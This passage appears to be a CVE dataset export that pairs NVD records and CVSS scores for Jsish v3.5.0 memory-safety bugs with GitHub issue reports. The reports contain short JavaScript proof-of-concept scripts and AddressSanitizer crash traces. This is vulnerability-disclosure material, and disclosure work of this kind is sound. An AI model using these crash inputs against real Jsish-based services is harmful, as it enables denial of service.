AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)
```
Credits: Found by OWL337 team.
| SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e506) | https://api.github.com/repos/pcmacdon/jsish/issues/72/comments | 0 | 2021-12-24T10:39:45Z | 2022-01-12T02:15:13Z | https://github.com/pcmacdon/jsish/issues/72 | 1,088,306,982 | 72 |
CVE-2021-46488 | 2022-01-27T21:15:08.560 | Jsish v3.5.0 was discovered to contain a SEGV vulnerability via jsi_ArrayConcatCmd at src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS). | {
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
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"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
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}
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"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/68"
}
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var i = 0;
function JSEtest()
{
arr[arr[1000] = 3] = 3;
i++;
}
var arr = new Array(10);
arr[2] = 2;
arr.concat(JSEtest);
(arr.reduceRight(arr.concat), 0, '1');
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
==121369==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x563e6997e690 bp 0x00000000000a sp 0x7ffcb3c19980 T0)
==121369==The signal is caused by a READ memory access.
==121369==Hint: address points to the zero page.
#0 0x563e6997e68f in jsi_ArrayConcatCmd src/jsiArray.c:311
#1 0x563e69943818 in jsi_FuncCallSub src/jsiProto.c:244
#2 0x563e698c0fec in jsi_FunctionInvoke src/jsiFunc.c:777
#3 0x563e698c0fec in Jsi_FunctionInvoke src/jsiFunc.c:789
#4 0x563e69985851 in jsi_ArrayReduceSubCmd src/jsiArray.c:641
#5 0x563e69985851 in jsi_ArrayReduceRightCmd src/jsiArray.c:672
#6 0x563e69943818 in jsi_FuncCallSub src/jsiProto.c:244
#7 0x563e69c0d71a in jsiFunctionSubCall src/jsiEval.c:796
#8 0x563e69c0d71a in jsiEvalFunction src/jsiEval.c:837
#9 0x563e69c0d71a in jsiEvalCodeSub src/jsiEval.c:1264
#10 0x563e69c2115e in jsi_evalcode src/jsiEval.c:2204
#11 0x563e69c25274 in jsi_evalStrFile src/jsiEval.c:2665
#12 0x563e6991466a in Jsi_Main src/jsiInterp.c:936
#13 0x563e6a11903a in jsi_main src/main.c:47
#14 0x7fde1e7babf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#15 0x563e698a8969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiArray.c:311 in jsi_ArrayConcatCmd
```
Credits: Found by OWL337 team. | SEGV src/jsiArray.c:311 in jsi_ArrayConcatCmd | https://api.github.com/repos/pcmacdon/jsish/issues/68/comments | 0 | 2021-12-24T10:36:54Z | 2022-01-12T02:14:32Z | https://github.com/pcmacdon/jsish/issues/68 | 1,088,305,652 | 68 |
CVE-2021-46489 | 2022-01-27T21:15:08.603 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via Jsi_DecrRefCount in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/74"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
function JSEtest() {
Object.prototype = 1;
}
JSEtest();
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==44651==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000001c0 at pc 0x5556b3bd8724 bp 0x7ffdd9e16980 sp 0x7ffdd9e16970
READ of size 4 at 0x6030000001c0 thread T0
#0 0x5556b3bd8723 in Jsi_DecrRefCount src/jsiValue.c:41
#1 0x5556b3c1177b in jsiInterpDelete src/jsiInterp.c:1933
#2 0x5556b4428047 in jsi_main src/main.c:49
#3 0x7fd6540bcbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x5556b3bb7969 in _start (/usr/local/bin/jsish+0xe8969)
0x6030000001c0 is located 0 bytes inside of 32-byte region [0x6030000001c0,0x6030000001e0)
freed by thread T0 here:
#0 0x7fd654d2b7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x5556b3bd86cf in Jsi_DecrRefCount src/jsiValue.c:52
previously allocated by thread T0 here:
#0 0x7fd654d2bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x5556b3c28aa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount
Shadow bytes around the buggy address:
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
0x0c067fff8010: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa
0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
=>0x0c067fff8030: fa fa fd fd fd fd fa fa[fd]fd fd fd fa fa fd fd
0x0c067fff8040: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8050: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff8060: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c067fff8070: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8080: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
| Heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount | https://api.github.com/repos/pcmacdon/jsish/issues/74/comments | 0 | 2021-12-24T10:41:50Z | 2021-12-27T15:24:09Z | https://github.com/pcmacdon/jsish/issues/74 | 1,088,308,024 | 74 |
CVE-2021-46490 | 2022-01-27T21:15:08.647 | Jsish v3.5.0 was discovered to contain a SEGV vulnerability via NumberConstructor at src/jsiNumber.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"baseSeverity": "MEDIUM",
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/67"
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var list = [
'aa',
'hh'
];
Number.bind(2, 4)();
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
=====ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55d872876fd3 bp 0x7ffd8a3d6b10 sp 0x7ffd8a3d6240 T0)
=====The signal is caused by a READ memory access.
=====Hint: address points to the zero page.
#0 0x55d872876fd2 in NumberConstructor src/jsiNumber.c:93
#1 0x55d87284a818 in jsi_FuncCallSub src/jsiProto.c:244
#2 0x55d8727c7fec in jsi_FunctionInvoke src/jsiFunc.c:777
#3 0x55d8727c7fec in Jsi_FunctionInvoke src/jsiFunc.c:789
#4 0x55d872843ad6 in jsi_FuncBindCall src/jsiProto.c:299
#5 0x55d87284a818 in jsi_FuncCallSub src/jsiProto.c:244
#6 0x55d872b1471a in jsiFunctionSubCall src/jsiEval.c:796
#7 0x55d872b1471a in jsiEvalFunction src/jsiEval.c:837
#8 0x55d872b1471a in jsiEvalCodeSub src/jsiEval.c:1264
#9 0x55d872b2815e in jsi_evalcode src/jsiEval.c:2204
#10 0x55d872b2c274 in jsi_evalStrFile src/jsiEval.c:2665
#11 0x55d87281b66a in Jsi_Main src/jsiInterp.c:936
#12 0x55d87302003a in jsi_main src/main.c:47
#13 0x7fb276e6fbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#14 0x55d8727af969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiNumber.c:93 in NumberConstructor
```
Credits: Found by OWL337 team. | SEGV src/jsiNumber.c:93 in NumberConstructor | https://api.github.com/repos/pcmacdon/jsish/issues/67/comments | 2 | 2021-12-24T10:35:45Z | 2022-01-12T02:14:20Z | https://github.com/pcmacdon/jsish/issues/67 | 1,088,305,078 | 67 |
CVE-2021-46491 | 2022-01-27T21:15:08.690 | Jsish v3.5.0 was discovered to contain a SEGV vulnerability via Jsi_CommandPkgOpts at src/jsiCmds.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
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"acInsufInfo": false,
"baseSeverity": "MEDIUM",
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"privilegesRequired": "NONE",
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"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
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"url": "https://github.com/pcmacdon/jsish/issues/69"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var JSEtest = { 1e+400: '!'.charCodeAt(0) };
String.prototype.trimRight(WebSocket.apply(JSEtest));
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
==40146==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x56121dba5c0c bp 0x0ffff18e704c sp 0x7fff8c7381e0 T0)
==40146==The signal is caused by a READ memory access.
==40146==Hint: address points to the zero page.
#0 0x56121dba5c0b in Jsi_CommandPkgOpts src/jsiCmds.c:785
#1 0x56121dccce67 in WebSocketConstructor src/jsiWebSocket.c:3348
#2 0x56121db0c818 in jsi_FuncCallSub src/jsiProto.c:244
#3 0x56121db0ed84 in Jsi_FunctionApply src/jsiProto.c:480
#4 0x56121db0c818 in jsi_FuncCallSub src/jsiProto.c:244
#5 0x56121ddd671a in jsiFunctionSubCall src/jsiEval.c:796
#6 0x56121ddd671a in jsiEvalFunction src/jsiEval.c:837
#7 0x56121ddd671a in jsiEvalCodeSub src/jsiEval.c:1264
#8 0x56121ddea15e in jsi_evalcode src/jsiEval.c:2204
#9 0x56121ddee274 in jsi_evalStrFile src/jsiEval.c:2665
#10 0x56121dadd66a in Jsi_Main src/jsiInterp.c:936
#11 0x56121e2e203a in jsi_main src/main.c:47
#12 0x7fde614afbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#13 0x56121da71969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiCmds.c:785 in Jsi_CommandPkgOpts
```
Credits: Found by OWL337 team. | SEGV src/jsiCmds.c:785 in Jsi_CommandPkgOpts | https://api.github.com/repos/pcmacdon/jsish/issues/69/comments | 7 | 2021-12-24T10:37:33Z | 2022-01-12T02:14:45Z | https://github.com/pcmacdon/jsish/issues/69 | 1,088,305,979 | 69 |
CVE-2021-46492 | 2022-01-27T21:15:08.733 | Jsish v3.5.0 was discovered to contain a SEGV vulnerability via Jsi_FunctionInvoke at src/jsiFunc.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"acInsufInfo": false,
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 2.9,
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"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
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"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
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{
"source": "[email protected]",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/71"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case1
```javascript
var feedback = setInterval(Number, update(Object(ch)));
WebSocket(new Object());
update(100)(WebSocket(new Object()));
```
###### Test case2
```javascript
function JSEtest()
{
(arr.reduceRight(Object), 0, '1');
arguments.callee++;
}
var arr = new Array(10);
arr[1] = 1;
arr[2] = 2;
arr.forEach(JSEtest);
```
######
###### Execution steps & Output
```bash
$ ./jsish/jsish poc1.js
ASAN:DEADLYSIGNAL
=================================================================
==82851==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x5639ca50c71f bp 0x000000000000 sp 0x7ffc15eedf60 T0)
==82851==The signal is caused by a READ memory access.
==82851==Hint: address points to the zero page.
#0 0x5639ca50c71e in Jsi_FunctionInvoke src/jsiFunc.c:786
#1 0x5639ca626b9d in Jsi_EventProcess src/jsiCmds.c:292
#2 0x5639ca6278ef in SysUpdateCmd src/jsiCmds.c:411
#3 0x5639ca58f818 in jsi_FuncCallSub src/jsiProto.c:244
#4 0x5639ca85971a in jsiFunctionSubCall src/jsiEval.c:796
#5 0x5639ca85971a in jsiEvalFunction src/jsiEval.c:837
#6 0x5639ca85971a in jsiEvalCodeSub src/jsiEval.c:1264
#7 0x5639ca86d15e in jsi_evalcode src/jsiEval.c:2204
#8 0x5639ca871274 in jsi_evalStrFile src/jsiEval.c:2665
#9 0x5639ca56066a in Jsi_Main src/jsiInterp.c:936
#10 0x5639cad6503a in jsi_main src/main.c:47
#11 0x7fb9a888dbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#12 0x5639ca4f4969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiFunc.c:786 in Jsi_FunctionInvoke
==82851==ABORTING
$ ./jsish/jsish poc2.js
ASAN:DEADLYSIGNAL
=================================================================
==62010==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557c5b2f56b6 bp 0x603000007240 sp 0x7ffce7e9ef60 T0)
==62010==The signal is caused by a READ memory access.
==62010==Hint: address points to the zero page.
#0 0x557c5b2f56b5 in Jsi_FunctionInvoke src/jsiFunc.c:785
#1 0x557c5b3ad784 in jsi_ArrayForeachCmd src/jsiArray.c:531
#2 0x557c5b378818 in jsi_FuncCallSub src/jsiProto.c:244
#3 0x557c5b64271a in jsiFunctionSubCall src/jsiEval.c:796
#4 0x557c5b64271a in jsiEvalFunction src/jsiEval.c:837
#5 0x557c5b64271a in jsiEvalCodeSub src/jsiEval.c:1264
#6 0x557c5b65615e in jsi_evalcode src/jsiEval.c:2204
#7 0x557c5b65a274 in jsi_evalStrFile src/jsiEval.c:2665
#8 0x557c5b34966a in Jsi_Main src/jsiInterp.c:936
#9 0x557c5bb4e03a in jsi_main src/main.c:47
#10 0x7f35df3e6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#11 0x557c5b2dd969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiFunc.c:785 in Jsi_FunctionInvoke
```
| SEGV src/jsiFunc.c:786 in Jsi_FunctionInvoke | https://api.github.com/repos/pcmacdon/jsish/issues/71/comments | 0 | 2021-12-24T10:38:56Z | 2021-12-27T03:47:20Z | https://github.com/pcmacdon/jsish/issues/71 | 1,088,306,590 | 71 |
CVE-2021-46494 | 2022-01-27T21:15:08.777 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_ValueLookupBase in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS). | {
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
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"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
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"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/78"
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"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var JSEtest = function() {};
Function.prototype = 12;
var obj = JSEtest.bind({});
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
=================================================================
==50188==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000228 at pc 0x55ccf1df02ee bp 0x7ffcb1d1b0a0 sp 0x7ffcb1d1b090
READ of size 1 at 0x603000000228 thread T0
#0 0x55ccf1df02ed in jsi_ValueLookupBase src/jsiValue.c:980
#1 0x55ccf1df1175 in jsi_ValueLookupBase src/jsiValue.c:1007
#2 0x55ccf1df1175 in jsi_ValueSubscript src/jsiValue.c:1016
#3 0x55ccf211ad47 in jsiEvalSubscript src/jsiEval.c:997
#4 0x55ccf211ad47 in jsiEvalCodeSub src/jsiEval.c:1283
#5 0x55ccf213315e in jsi_evalcode src/jsiEval.c:2204
#6 0x55ccf2137274 in jsi_evalStrFile src/jsiEval.c:2665
#7 0x55ccf1e2666a in Jsi_Main src/jsiInterp.c:936
#8 0x55ccf262b03a in jsi_main src/main.c:47
#9 0x7fc99b738bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#10 0x55ccf1dba969 in _start (/usr/local/bin/jsish+0xe8969)
0x603000000228 is located 8 bytes inside of 32-byte region [0x603000000220,0x603000000240)
freed by thread T0 here:
#0 0x7fc99c3a77a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x55ccf1ddb6cf in Jsi_DecrRefCount src/jsiValue.c:52
previously allocated by thread T0 here:
#0 0x7fc99c3a7d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x55ccf1e2baa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:980 in jsi_ValueLookupBase
Shadow bytes around the buggy address:
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa 00 00 00 00 fa fa 00 00 07 fa fa fa 00 00
0x0c067fff8010: 00 00 fa fa 00 00 03 fa fa fa 00 00 00 00 fa fa
0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
=>0x0c067fff8040: 00 00 fa fa fd[fd]fd fd fa fa 00 00 00 00 fa fa
0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff8060: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff8070: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff8080: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff8090: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==50188==ABORTING
```
Credits: Found by OWL337 team. | Heap-use-after-free src/jsiValue.c:980 in jsi_ValueLookupBase | https://api.github.com/repos/pcmacdon/jsish/issues/78/comments | 0 | 2021-12-24T10:45:48Z | 2022-01-12T02:16:10Z | https://github.com/pcmacdon/jsish/issues/78 | 1,088,309,877 | 78 |
CVE-2021-46495 | 2022-01-27T21:15:08.827 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via DeleteTreeValue in src/jsiObj.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/82"
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"Exploit",
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"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
function JSEtest() {
var buf = setInterval(function () {
ws.send('0');
}, 40)(update(Object(0)));
}
try {
JSEtest();
} catch (e) {
setInterval(Function.prototype, 40);
}
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==66060==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000001f0 at pc 0x56055c54b6fc bp 0x7ffc737457e0 sp 0x7ffc737457d0
READ of size 4 at 0x6030000001f0 thread T0
#0 0x56055c54b6fb in DeleteTreeValue src/jsiObj.c:176
#1 0x56055c563384 in Jsi_TreeEntryDelete src/jsiTree.c:636
#2 0x56055c564f10 in destroy_node src/jsiTree.c:496
#3 0x56055c564f10 in destroy_node src/jsiTree.c:494
#4 0x56055c564f10 in Jsi_TreeDelete src/jsiTree.c:515
#5 0x56055c54d9df in Jsi_ObjFree src/jsiObj.c:348
#6 0x56055c54ea0f in Jsi_ObjDecrRefCount src/jsiObj.c:440
#7 0x56055c3fd3d1 in ValueFree src/jsiValue.c:178
#8 0x56055c3fd3d1 in Jsi_ValueFree src/jsiValue.c:199
#9 0x56055c3fd6cf in Jsi_DecrRefCount src/jsiValue.c:52
#10 0x56055c50d4d4 in Jsi_EventFree src/jsiCmds.c:204
#11 0x56055c4234e2 in freeEventTbl src/jsiInterp.c:570
#12 0x56055c4c58dd in Jsi_HashClear src/jsiHash.c:507
#13 0x56055c4c5cd7 in Jsi_HashDelete src/jsiHash.c:526
#14 0x56055c43687c in jsiInterpDelete src/jsiInterp.c:1936
#15 0x56055cc4d047 in jsi_main src/main.c:49
#16 0x7f78b6c29bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#17 0x56055c3dc969 in _start (/usr/local/bin/jsish+0xe8969)
0x6030000001f0 is located 0 bytes inside of 32-byte region [0x6030000001f0,0x603000000210)
freed by thread T0 here:
#0 0x7f78b78987a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x56055c3fd6cf in Jsi_DecrRefCount src/jsiValue.c:52
